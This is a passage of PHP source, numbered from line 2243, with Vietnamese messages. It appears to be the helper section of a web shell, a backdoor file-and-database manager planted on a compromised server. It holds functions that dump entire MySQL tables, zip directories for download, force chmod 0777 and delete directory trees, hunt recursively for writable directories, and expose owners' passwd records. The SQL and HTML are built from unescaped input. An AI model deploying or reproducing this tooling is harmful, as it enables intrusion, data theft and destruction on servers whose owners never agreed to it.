2243function dbconn($dbhost, $dbuser, $dbpass, $dbname = '', $charset = '', $dbport = '3306')
2244{
2245 if (!$link = @mysql_connect($dbhost . ':' . $dbport, $dbuser, $dbpass)) {
2246 p('<h2>Không thể kết nối tơi MySQL server</h2>');
2247 exit;
2248 }
2249 if ($link && $dbname) {
2250 if (!@mysql_select_db($dbname, $link)) {
2251 p('<h2>Database chọn lỗi</h2>');
2252 exit;
2253 }
2254 }
2255 if ($link && mysql_get_server_info() > '4.1') {
2256 if (in_array(strtolower($charset), array(
2257 'gbk',
2258 'big5',
2259 'utf8'
2260 ))) {
2261 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
2262 }
2263 }
2264 return $link;
2265}
2266function s_array(&$array)
2267{
2268 if (is_array($array)) {
2269 foreach ($array as $k => $v) {
2270 $array[$k] = s_array($v);
2271 }
2272 } else if (is_string($array)) {
2273 $array = stripslashes($array);
2274 }
2275 return $array;
2276}
2277function html_clean($content)
2278{
2279 $content = htmlspecialchars($content);
2280 $content = str_replace("\n", "<br />", $content);
2281 $content = str_replace(" ", " ", $content);
2282 $content = str_replace("\t", " ", $content);
2283 return $content;
2284}
2285function getChmod($filepath)
2286{
2287 return substr(base_convert(@fileperms($filepath), 10, 8), -4);
2288}
2289function getPerms($filepath)
2290{
2291 $mode = @fileperms($filepath);
2292 if (($mode & 0xC000) === 0xC000) {
2293 $type = 's';
2294 } elseif (($mode & 0x4000) === 0x4000) {
2295 $type = 'd';
2296 } elseif (($mode & 0xA000) === 0xA000) {
2297 $type = 'l';
2298 } elseif (($mode & 0x8000) === 0x8000) {
2299 $type = '-';
2300 } elseif (($mode & 0x6000) === 0x6000) {
2301 $type = 'b';
2302 } elseif (($mode & 0x2000) === 0x2000) {
2303 $type = 'c';
2304 } elseif (($mode & 0x1000) === 0x1000) {
2305 $type = 'p';
2306 } else {
2307 $type = '?';
2308 }
2309 $owner['read'] = ($mode & 00400) ? 'r' : '-';
2310 $owner['write'] = ($mode & 00200) ? 'w' : '-';
2311 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
2312 $group['read'] = ($mode & 00040) ? 'r' : '-';
2313 $group['write'] = ($mode & 00020) ? 'w' : '-';
2314 $group['execute'] = ($mode & 00010) ? 'x' : '-';
2315 $world['read'] = ($mode & 00004) ? 'r' : '-';
2316 $world['write'] = ($mode & 00002) ? 'w' : '-';
2317 $world['execute'] = ($mode & 00001) ? 'x' : '-';
2318 if ($mode & 0x800) {
2319 $owner['execute'] = ($owner['execute'] == 'x') ? 's' : 'S';
2320 }
2321 if ($mode & 0x400) {
2322 $group['execute'] = ($group['execute'] == 'x') ? 's' : 'S';
2323 }
2324 if ($mode & 0x200) {
2325 $world['execute'] = ($world['execute'] == 'x') ? 't' : 'T';
2326 }
2327 return $type . $owner['read'] . $owner['write'] . $owner['execute'] . $group['read'] . $group['write'] . $group['execute'] . $world['read'] . $world['write'] . $world['execute'];
2328}
2329function getUser($filepath)
2330{
2331 if (function_exists('posix_getpwuid')) {
2332 $array = @posix_getpwuid(@fileowner($filepath));
2333 if ($array && is_array($array)) {
2334 return ' / <a href="#" title="User: ' . $array['name'] . '
Passwd: ' . $array['passwd'] . '
Uid: ' . $array['uid'] . '
gid: ' . $array['gid'] . '
Gecos: ' . $array['gecos'] . '
Dir: ' . $array['dir'] . '
Shell: ' . $array['shell'] . '">' . $array['name'] . '</a>';
2335 }
2336 }
2337 return '';
2338}
2339function deltree($deldir)
2340{
2341 $mydir = @dir($deldir);
2342 while ($file = $mydir->read()) {
2343 if ((is_dir($deldir . '/' . $file)) && ($file != '.') && ($file != '..')) {
2344 @chmod($deldir . '/' . $file, 0777);
2345 deltree($deldir . '/' . $file);
2346 }
2347 if (is_file($deldir . '/' . $file)) {
2348 @chmod($deldir . '/' . $file, 0777);
2349 @unlink($deldir . '/' . $file);
2350 }
2351 }
2352 $mydir->close();
2353 @chmod($deldir, 0777);
2354 return @rmdir($deldir) ? 1 : 0;
2355}
2356function bg()
2357{
2358 global $bgc;
2359 return ($bgc++ % 2 == 0) ? 'alt1' : 'alt2';
2360}
2361function getPath($scriptpath, $nowpath)
2362{
2363 if ($nowpath == '.') {
2364 $nowpath = $scriptpath;
2365 }
2366 $nowpath = str_replace('\\', '/', $nowpath);
2367 $nowpath = str_replace('//', '/', $nowpath);
2368 if (substr($nowpath, -1) != '/') {
2369 $nowpath = $nowpath . '/';
2370 }
2371 return $nowpath;
2372}
2373function getUpPath($nowpath)
2374{
2375 $pathdb = explode('/', $nowpath);
2376 $num = count($pathdb);
2377 if ($num > 2) {
2378 unset($pathdb[$num - 1], $pathdb[$num - 2]);
2379 }
2380 $uppath = implode('/', $pathdb) . '/';
2381 $uppath = str_replace('//', '/', $uppath);
2382 return $uppath;
2383}
2384function getcfg($varname)
2385{
2386 $result = get_cfg_var($varname);
2387 if ($result == 0) {
2388 return 'No';
2389 } elseif ($result == 1) {
2390 return 'Yes';
2391 } else {
2392 return $result;
2393 }
2394}
2395function getfun($funName)
2396{
2397 return (false !== function_exists($funName)) ? 'Yes' : 'No';
2398}
2399function GetList($dir)
2400{
2401 global $dirdata, $j, $nowpath;
2402 !$j && $j = 1;
2403 if ($dh = opendir($dir)) {
2404 while ($file = readdir($dh)) {
2405 $f = str_replace('//', '/', $dir . '/' . $file);
2406 if ($file != '.' && $file != '..' && is_dir($f)) {
2407 if (is_writable($f)) {
2408 $dirdata[$j]['filename'] = str_replace($nowpath, '', $f);
2409 $dirdata[$j]['mtime'] = @date('Y-m-d H:i:s', filemtime($f));
2410 $dirdata[$j]['dirchmod'] = getChmod($f);
2411 $dirdata[$j]['dirperm'] = getPerms($f);
2412 $dirdata[$j]['dirlink'] = ue($dir);
2413 $dirdata[$j]['server_link'] = $f;
2414 $dirdata[$j]['client_link'] = ue($f);
2415 $j++;
2416 }
2417 GetList($f);
2418 }
2419 }
2420 closedir($dh);
2421 clearstatcache();
2422 return $dirdata;
2423 } else {
2424 return array();
2425 }
2426}
2427function qy($sql)
2428{
2429 $res = $error = '';
2430 if (!$res = @mysql_query($sql)) {
2431 return 0;
2432 } else if (is_resource($res)) {
2433 return 1;
2434 } else {
2435 return 2;
2436 }
2437 return 0;
2438}
2439function q($sql)
2440{
2441 return @mysql_query($sql);
2442}
2443function fr($qy)
2444{
2445 mysql_free_result($qy);
2446}
2447function sizecount($size)
2448{
2449 if ($size > 1073741824) {
2450 $size = round($size / 1073741824 * 100) / 100 . ' G';
2451 } elseif ($size > 1048576) {
2452 $size = round($size / 1048576 * 100) / 100 . ' M';
2453 } elseif ($size > 1024) {
2454 $size = round($size / 1024 * 100) / 100 . ' K';
2455 } else {
2456 $size = $size . ' B';
2457 }
2458 return $size;
2459}
2460class PHPZip
2461{
2462 var $out = '';
2463 function PHPZip($dir)
2464 {
2465 if (@function_exists('gzcompress')) {
2466 $curdir = getcwd();
2467 if (is_array($dir))
2468 $filelist = $dir;
2469 else {
2470 $filelist = $this->GetFileList($dir);
2471 foreach ($filelist as $k => $v)
2472 $filelist[] = substr($v, strlen($dir) + 1);
2473 }
2474 if ((!empty($dir)) && (!is_array($dir)) && (file_exists($dir)))
2475 chdir($dir);
2476 else
2477 chdir($curdir);
2478 if (count($filelist) > 0) {
2479 foreach ($filelist as $filename) {
2480 if (is_file($filename)) {
2481 $fd = fopen($filename, 'r');
2482 $content = @fread($fd, filesize($filename));
2483 fclose($fd);
2484 if (is_array($dir))
2485 $filename = basename($filename);
2486 $this->addFile($content, $filename);
2487 }
2488 }
2489 $this->out = $this->file();
2490 chdir($curdir);
2491 }
2492 return 1;
2493 } else
2494 return 0;
2495 }
2496 function GetFileList($dir)
2497 {
2498 static $a;
2499 if (is_dir($dir)) {
2500 if ($dh = opendir($dir)) {
2501 while ($file = readdir($dh)) {
2502 if ($file != '.' && $file != '..') {
2503 $f = $dir . '/' . $file;
2504 if (is_dir($f))
2505 $this->GetFileList($f);
2506 $a[] = $f;
2507 }
2508 }
2509 closedir($dh);
2510 }
2511 }
2512 return $a;
2513 }
2514 var $datasec = array();
2515 var $ctrl_dir = array();
2516 var $eof_ctrl_dir = "\50\4b\05\06\00\00\00\00";
2517 var $old_offset = 0;
2518 function unix2DosTime($unixtime = 0)
2519 {
2520 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
2521 if ($timearray['year'] < 1980) {
2522 $timearray['year'] = 1980;
2523 $timearray['mon'] = 1;
2524 $timearray['mday'] = 1;
2525 $timearray['hours'] = 0;
2526 $timearray['minutes'] = 0;
2527 $timearray['seconds'] = 0;
2528 }
2529 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
2530 }
2531 function addFile($data, $name, $time = 0)
2532 {
2533 $name = str_replace('\\', '/', $name);
2534 $dtime = dechex($this->unix2DosTime($time));
2535 $hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1];
2536 eval('$hexdtime = "' . $hexdtime . '";');
2537 $fr = "\x50\x4b\x03\x04";
2538 $fr .= "\x14\x00";
2539 $fr .= "\x00\x00";
2540 $fr .= "\x08\x00";
2541 $fr .= $hexdtime;
2542 $unc_len = strlen($data);
2543 $crc = crc32($data);
2544 $zdata = gzcompress($data);
2545 $c_len = strlen($zdata);
2546 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
2547 $fr .= pack('V', $crc);
2548 $fr .= pack('V', $c_len);
2549 $fr .= pack('V', $unc_len);
2550 $fr .= pack('v', strlen($name));
2551 $fr .= pack('v', 0);
2552 $fr .= $name;
2553 $fr .= $zdata;
2554 $fr .= pack('V', $crc);
2555 $fr .= pack('V', $c_len);
2556 $fr .= pack('V', $unc_len);
2557 $this->datasec[] = $fr;
2558 $new_offset = strlen(implode('', $this->datasec));
2559 $cdrec = "\x50\x4b\x01\x02";
2560 $cdrec .= "\x00\x00";
2561 $cdrec .= "\x14\x00";
2562 $cdrec .= "\x00\x00";
2563 $cdrec .= "\x08\x00";
2564 $cdrec .= $hexdtime;
2565 $cdrec .= pack('V', $crc);
2566 $cdrec .= pack('V', $c_len);
2567 $cdrec .= pack('V', $unc_len);
2568 $cdrec .= pack('v', strlen($name));
2569 $cdrec .= pack('v', 0);
2570 $cdrec .= pack('v', 0);
2571 $cdrec .= pack('v', 0);
2572 $cdrec .= pack('v', 0);
2573 $cdrec .= pack('V', 32);
2574 $cdrec .= pack('V', $this->old_offset);
2575 $this->old_offset = $new_offset;
2576 $cdrec .= $name;
2577 $this->ctrl_dir[] = $cdrec;
2578 }
2579 function file()
2580 {
2581 $data = implode('', $this->datasec);
2582 $ctrldir = implode('', $this->ctrl_dir);
2583 return $data . $ctrldir . $this->eof_ctrl_dir . pack('v', sizeof($this->ctrl_dir)) . pack('v', sizeof($this->ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\00\00";
2584 }
2585}
2586function sqldumptable($table, $fp = 0)
2587{
2588 $tabledump = "DROP TABLE IF EXISTS $table;
2589";
2590 $tabledump .= "CREATE TABLE $table (
2591";
2592 $firstfield = 1;
2593 $fields = q("SHOW FIELDS FROM $table");
2594 while ($field = mysql_fetch_array($fields)) {
2595 if (!$firstfield) {
2596 $tabledump .= ",
2597";
2598 } else {
2599 $firstfield = 0;
2600 }
2601 $tabledump .= " $field[Field] $field[Type]";
2602 if (!empty($field["Default"])) {
2603 $tabledump .= " DEFAULT '$field[Default]'";
2604 }
2605 if ($field['Null'] != "YES") {
2606 $tabledump .= " NOT NULL";
2607 }
2608 if ($field['Extra'] != "") {
2609 $tabledump .= " $field[Extra]";
2610 }
2611 }
2612 fr($fields);
2613 $keys = q("SHOW KEYS FROM $table");
2614 while ($key = mysql_fetch_array($keys)) {
2615 $kname = $key['Key_name'];
2616 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
2617 $kname = "UNIQUE|$kname";
2618 }
2619 if (!is_array($index[$kname])) {
2620 $index[$kname] = array();
2621 }
2622 $index[$kname][] = $key['Column_name'];
2623 }
2624 fr($keys);
2625 while (list($kname, $columns) = @each($index)) {
2626 $tabledump .= ",
2627";
2628 $colnames = implode($columns, ",");
2629 if ($kname == "PRIMARY") {
2630 $tabledump .= " PRIMARY KEY ($colnames)";
2631 } else {
2632 if (substr($kname, 0, 6) == "UNIQUE") {
2633 $kname = substr($kname, 7);
2634 }
2635 $tabledump .= " KEY $kname ($colnames)";
2636 }
2637 }
2638 $tabledump .= "
2639);
2640
2641";
2642 if ($fp) {
2643 fwrite($fp, $tabledump);
2644 } else {
2645 echo $tabledump;
2646 }
2647 $rows = q("SELECT * FROM $table");
2648 $numfields = mysql_num_fields($rows);
2649 while ($row = mysql_fetch_array($rows)) {
2650 $tabledump = "INSERT INTO $table VALUES(";
2651 $fieldcounter = -1;
2652 $firstfield = 1;
2653 while (++$fieldcounter < $numfields) {
2654 if (!$firstfield) {
2655 $tabledump .= ", ";
2656 } else {
2657 $firstfield = 0;
2658 }
2659 if (!isset($row[$fieldcounter])) {
2660 $tabledump .= "NULL";
2661 } else {
2662 $tabledump .= "'" . mysql_escape_string($row[$fieldcounter]) . "'";
2663 }
2664 }
2665 $tabledump .= ");
2666";
2667 if ($fp) {
2668 fwrite($fp, $tabledump);
2669 } else {
2670 echo $tabledump;
2671 }
2672 }
2673 fr($rows);
2674 if ($fp) {
2675 fwrite($fp, "
2676");
2677 } else {
2678 echo "
2679";
2680 }
2681}
2682function ue($str)
2683{
2684 return urlencode($str);
2685}
2686function p($str)
2687{
2688 echo $str . "
2689";
2690}
2691function tbhead()
2692{
2693 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
2694}
2695function tbfoot()
2696{
2697 p('</table>');
2698}
2699function makehide($name, $value = '')
2700{
2701 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
2702}
2703function makeinput($arg = array())
2704{
2705 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
2706 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
2707 !$arg['type'] && $arg['type'] = 'text';
2708 $arg['title'] = $arg['title'] ? $arg['title'] . '<br />' : '';
2709 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
2710 if ($arg['newline']) {
2711 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
2712 } else {
2713 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
2714 }
2715}
2716function makeselect($arg = array())
2717{
2718 if ($arg['onchange']) {
2719 $onchange = 'onchange="' . $arg['onchange'] . '"';
2720 }
2721 $arg['title'] = $arg['title'] ? $arg['title'] : '';
2722 if ($arg['newline'])
2723 p('<p>');
2724 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
2725 if (is_array($arg['option'])) {
2726 foreach ($arg['option'] as $key => $value) {
2727 if ($arg['selected'] == $key) {
2728 p("<option value=\"$key\" selected>$value</option>");
2729 } else {
2730 p("<option value=\"$key\">$value</option>");
2731 }
2732 }
2733 }
2734 p("</select>");
2735 if ($arg['newline'])
2736 p('</p>');
2737}
2738function formhead($arg = array())
2739{
2740 !$arg['method'] && $arg['method'] = 'post';
2741 !$arg['action'] && $arg['action'] = $self;
2742 $arg['target'] = $arg['target'] ? "target=\$arg[target]\"" : '';
2743 !$arg['name'] && $arg['name'] = 'form1';
2744 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
2745 if ($arg['title']) {
2746 p('<h2>' . $arg['title'] . ' »</h2>');
2747 }
2748}
2749function maketext($arg = array())
2750{
2751 !$arg['cols'] && $arg['cols'] = 100;
2752 !$arg['rows'] && $arg['rows'] = 25;
2753 $arg['title'] = $arg['title'] ? $arg['title'] . '<br />' : '';
2754 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
2755}
2756function formfooter($name = '')
2757{
2758 !$name && $name = 'submit';
2759 p('<p><input class="bt" name="' . $name . '" id=\"' . $name . '\" type="submit" value="MonKira"></p>');
2760 p('</form>');
2761}
2762function formfoot()
2763{
2764 p('</form>');
2765}
2766function pr($a)
2767{
2768 echo '<pre>';
2769 print_r($a);
2770 echo '</pre>';
2771}
2772?>